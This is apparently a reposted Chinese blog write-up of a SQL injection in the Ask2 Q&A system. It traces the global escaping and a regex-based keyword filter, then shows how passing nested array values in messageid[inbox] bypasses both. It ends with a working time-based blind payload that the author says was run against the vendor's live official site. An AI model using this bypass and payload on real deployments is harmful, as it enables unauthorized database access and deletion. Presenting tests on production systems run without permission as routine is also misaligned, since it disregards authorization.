Ask2问答系统最新版注入

来源:互联网 发布:bi制作视频软件 编辑:程序博客网 时间:2024/05/12 17:41

0x00 代码审计

全局防注入机制,在/model/sowenda.class.php中第32行:

  1. $querystring = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '';
  2.  
  3. $pos = strrpos($querystring, '.');
  4.  if ($pos !== false) {
  5. $querystring = substr($querystring, 0, $pos);
  6.  }
  7.  /* 处理简短url */
  8. $pos = strpos($querystring, '-');
  9. $pos2 = strpos($querystring, '=');
  10.  ($pos !== false) && $querystring = urlmap($querystring);
  11.  
  12.  ($pos2 !== false) && $querystring = urlmap($querystring);
  13.  
  14. $andpos = strpos($querystring, "&");
  15. $andpos && $querystring = substr($querystring, 0, $andpos);
  16. $this->get = explode('/', $querystring);
  17.  if (empty($this->get[0])) {
  18. $this->get[0] = 'index';
  19.  }
  20.  if (empty($this->get[1])) {
  21. $this->get[1] = 'default';
  22.  }
  23.  if (count($this->get) < 2) { exit(' Access Denied !'); } unset($GLOBALS, $_ENV, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS, $HTTP_ENV_VARS); $this->get = taddslashes($this->get, 1);
  24. $this->post = taddslashes(array_merge($_GET, $_POST));
  25.  
  26. checkattack($this->post, 'post');
  27. checkattack($this->get, 'get');
  28. unset($_POST);

可以看到这里对$_GET和$_POST都用taddslashes()做了处理,我们跟踪一下这个函数:
在/lib/global.func.php中第324行:

  1. function taddslashes($string, $force = 0) {
  2.  if (!MAGIC_QUOTES_GPC || $force) {
  3.  if (is_array($string)) {
  4.  foreach ($string as $key => $val) {
  5. $string[$key] = taddslashes($val, $force);
  6.  }
  7.  } else {
  8. $string = addslashes($string);
  9.  }
  10.  }
  11.  return $string;
  12. }

可以看到这是一个转义函数,也就是说进行了一个全局的转义,最麻烦的不是这个,而是下一个函数:

  1. checkattack($this->post, 'post');
  2. checkattack($this->get, 'get');

将$_GET和$_POST带入到了checkattack()这个函数中,我们追踪一下这个函数,在/lib/global.func.php中第339行:

  1. function checkattack($reqarr, $reqtype = 'post') {
  2. $filtertable = array(
  3.  'get' => '\'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)', 'post' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)', 'cookie' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' ); foreach ($reqarr as $reqkey=> $reqvalue) {
  4.  if (preg_match("/" . $filtertable[$reqtype] . "/is", $reqvalue) == 1 && !in_array($reqkey, array('content'))){
  5.  print('Illegal operation!');
  6.  exit(-1);
  7.  }
  8.  }
  9. }

可以看到这是一个防注入函数,这就很恼火了。不过这注入漏洞我们可以绕过它。

看一下漏洞触发点:

  1. 在/control/message.php中第84行:
  2.  function onremove() {
  3.  if (isset($this->post['submit'])) {
  4. $inbox = $this->post['messageid']['inbox'];
  5. $outbox = $this->post['messageid']['outbox'];
  6.  if ($inbox)
  7. $_ENV['message']->remove("inbox", $inbox);
  8.  
  9.  if ($outbox)
  10. $_ENV['message']->remove("outbox", $outbox);
  11.  
  12. $this->message("消息删除成功!", get_url_source());
  13.  }
  14.  }

可以看到这里的有两个变量是我们可控的,$inbox和$outbox。
我们可以将这两个变量带入到了remove()函数中,我们跟踪一下remove函数:
在/model/message.class.php中第91行:

  1. function remove($type, $msgids) {
  2. $messageid = ($msgids && is_array($msgids)) ? implode(",", $msgids) : $msgids;
  3.  if ('inbox' == $type) {
  4. $this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE fromuid=0 AND `id` IN ($messageid)");
  5. $this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE status = 1 AND `id` IN ($messageid)");
  6. $this->db->query("UPDATE " . DB_TABLEPRE . "message SET status=2 WHERE status=0 AND `id` IN ($messageid)");
  7.  } else {
  8. $this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE status = 2 AND `id` IN ($messageid)");
  9. $this->db->query("UPDATE " . DB_TABLEPRE . "message SET status=1 WHERE status=0 AND `id` IN ($messageid)");
  10.  }
  11.  }

可以看到直接将我们可控的变量带入到了sql语句中,周围只有括号进行包裹,并没有引号进行包裹,所以说全局转义我们可以绕过了,那么那个防注入函数怎么绕过呢。
我们仔细看一下那个防注入函数,可以看到只是对字符串进行了检测,但是如果我们传入的是个数组呢?那个防注入函数并没有进行是数组的检测。
那么我们仔细看一下我们可控的这两个变量:

  1. $inbox = $this->post['messageid']['inbox'];
  2. $outbox = $this->post['messageid']['outbox'];

可以看到是一个数组中的值,而防注入并没有对数组进行检测,所以我们可以绕过防注入函数。

0x01 漏洞复现

漏洞利用方式:

我们直接去官网进行测试:

http://www.ask2.cn/

先在官网注册登录一个账号,然后访问如下payload:

  1. http://www.ask2.cn/message/remove.html
  2. POST: submit=2&messageid[inbox]=-1,if(1=1,sleep(1),0)

成功延迟:


0 0